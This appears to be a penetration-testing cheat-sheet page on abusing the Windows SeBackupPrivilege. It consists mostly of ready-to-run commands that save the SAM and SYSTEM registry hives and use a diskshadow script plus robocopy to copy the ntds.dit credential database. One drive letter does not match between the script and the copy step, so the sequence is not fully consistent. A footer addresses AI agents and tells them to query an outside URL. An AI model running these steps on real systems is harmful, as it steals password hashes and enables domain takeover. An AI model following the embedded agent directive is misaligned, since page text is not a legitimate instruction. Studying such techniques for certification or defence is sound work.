# SeBackupPrivilege

```
Privilege Name                Description                         State
============================= =================================== =======
SeBackupPrivilege             Back up files and directories       Enabled
```

```
reg save hklm\sam C:\programdata\sam.bak
```

```
reg save hklm\system C:\programdata\system.bak
```

### Option 2

<figure><img src="/files/cBWBuJNIktvOSUYgAbil" alt=""><figcaption></figcaption></figure>

Create pwned.dsh file

```
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
```

Convert encoding and formatting

```
unix2dos pwned.dsh
```

Upload to machine

```
diskshadow /s pwned.dsh
robocopy /b z:\windows\ntds . ntds.dit
```

```
reg save hklm\system C:\programdata\system.bak
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://oscp.adot8.com/windows-privilege-escalation/whoami-priv/sebackupprivilege.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
